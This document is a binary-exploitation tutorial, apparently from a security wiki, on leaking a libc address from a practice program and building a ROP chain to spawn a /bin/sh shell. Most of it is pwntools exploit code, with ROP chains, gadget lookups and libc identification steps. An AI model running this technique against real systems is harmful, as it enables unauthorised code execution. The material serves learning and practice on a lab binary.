# ROP - Leaking LIBC address ## Quick Resume 1. Find overflow offset 2. Find POP\_RDI, PUTS\_PLT and MAIN\_PLT gadgets 3. Find memory address of puts and guess the libc version \(donwload it\) 4. Given the library just exploit it ## Other tutorials and binaries to practice This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/) Another useful tutorial: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/) ## Code Filename: `vuln.c` ```c #include int main() { char buffer[32]; puts("Simple ROP.\n"); gets(buffer); return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` ## ROP - PWNtools template \*\*\*\*[**Find my ROP-PWNtools template here.**](rop-pwn-template.md) I'm going to use the code located there to make the exploit. Download the exploit and place it in the same directory as the vulnerable binary. ## 1- Finding the offset The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it \(by default `OFFSET = ""`\): ```bash #################### #### Find offset ### #################### OFFSET = ""#"A"*72 if OFFSET == "": gdb.attach(p.pid, "c") #Attach and continue payload = cyclic(1000) print(r.clean()) r.sendline(payload) #x/wx $rsp -- Search for bytes that crashed the application #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` **Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: ```python from pwn import * cyclic_find(0x6161616b) ``` ![](../../.gitbook/assets/image%20%28188%29.png) After finding the offset \(in this case 40\) change the OFFSET variable inside the template using that value. `OFFSET = "A" * 40` ## 2- Finding Gadgets Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" RET = (rop.find_gadget(['ret']))[0] log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` The `PUTS_PLT` is needed to call the **function puts**. The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** \(infinite rounds of exploitation\).It is used at the end of each ROP. The **POP\_RDI** is needed to **pass** a **parameter** to the called function. In this step you don't need to execute anything as everything will be found by pwntools during the execution. ## 3- Finding LIBC library Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] log.info(func_name + " GOT @ " + hex(FUNC_GOT)) # Create rop chain rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) #Send our rop-chain payload #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment print(p.clean()) # clean socket buffer (read all and print) p.sendline(rop1) #Parse leaked address recieved = p.recvline().strip() leak = u64(recieved.ljust(8, "\x00")) log.info("Leaked libc address, "+func_name+": "+ hex(leak)) #If not libc yet, stop here if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") p.interactive() ``` To do so, the most important line of the executed code is: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`. Then, it will set the **address** of the gadget `POP_RDI` so the next address \(`FUNC_GOT`\) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`. After that, `PUTS_PLT` will be called \(with `PUTS_GOT` inside the **RDI**\) so puts will **read the content** inside `PUTS_GOT` \(**the address of puts function in memory**\) and will **print it out**. Finally, **main function is called again** so we can exploit the overflow again. This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** \(which is inside **libc** library\). Now that we have that address we can **search which libc version is being used**. ![](../../.gitbook/assets/image%20%2881%29.png) As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used \(just find the library in `/lib/x86_64-linux-gnu/libc.so.6`\). But, in a remote exploit case I will explain here how can you find it: ### 3.1- Searching for libc version \(1\) You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me/) It will also allow you to download the discovered version of **libc** ![](../../.gitbook/assets/image%20%2816%29.png) ### 3.2- Searching for libc version \(2\) You can also do: * `$ git clone https://github.com/niklasb/libc-database.git` * `$ cd libc-database` * `$ ./get` This will take some time, be patient. For this to work we need: * Libc symbol name: `puts` * Leaked libc adddress: `0x7ff629878690` We can figure out which **libc** that is most likely used. ```text ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` We get 2 matches \(you should try the second one if the first one is not working\). Download the first one: ```text ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb -> Downloading package -> Extracting package -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. ### 3.3- Other functions to leak ```python puts printf __libc_start_main read gets ``` ## 4- Finding based libc address & exploiting At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` So, at the begging of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. Inside the `get_addr`function the **base address of libc** is going to be calculated: ```python if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) ``` Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` Finally, the /bin/sh execution exploit is going to be prepared sent: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) p.clean() p.sendline(rop2) ##### Interact with the shell ##### p.interactive() #Interact with the conenction ``` Let's explain this final ROP. The last ROP \(`rop1`\) ended calling again the main function, then we can **exploit again** the **overflow** \(that's why the `OFFSET` is here again\). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ \(`BINSH`\) and call **system** function \(`SYSTEM`\) because the address of _"/bin/sh"_ will be passed as a parameter. Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. **This way the exploit will execute a** _**/bin/sh**_ **shell.** ![](../../.gitbook/assets/image%20%28255%29.png) ## 4\(2\)- Using ONE\_GADGET You could also use [ONE\_GADGET ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP**. However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` ## EXPLOIT FILE You can find a template to exploit this vulnerability here: {% page-ref page="rop-pwn-template.md" %} ## Common problems ### MAIN\_PLT = elf.symbols\['main'\] not found If the "main" symbol does not exist. Then you can just where is the main code: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` and set the address manually: ```python MAIN_PLT = 0x401080 ``` ## Puts not found If the binary is not using Puts you should check if it is using ### `sh: 1: %s%s%s%s%s%s%s%s: not found` If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` Try to **subtract 64 bytes to the address of "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ```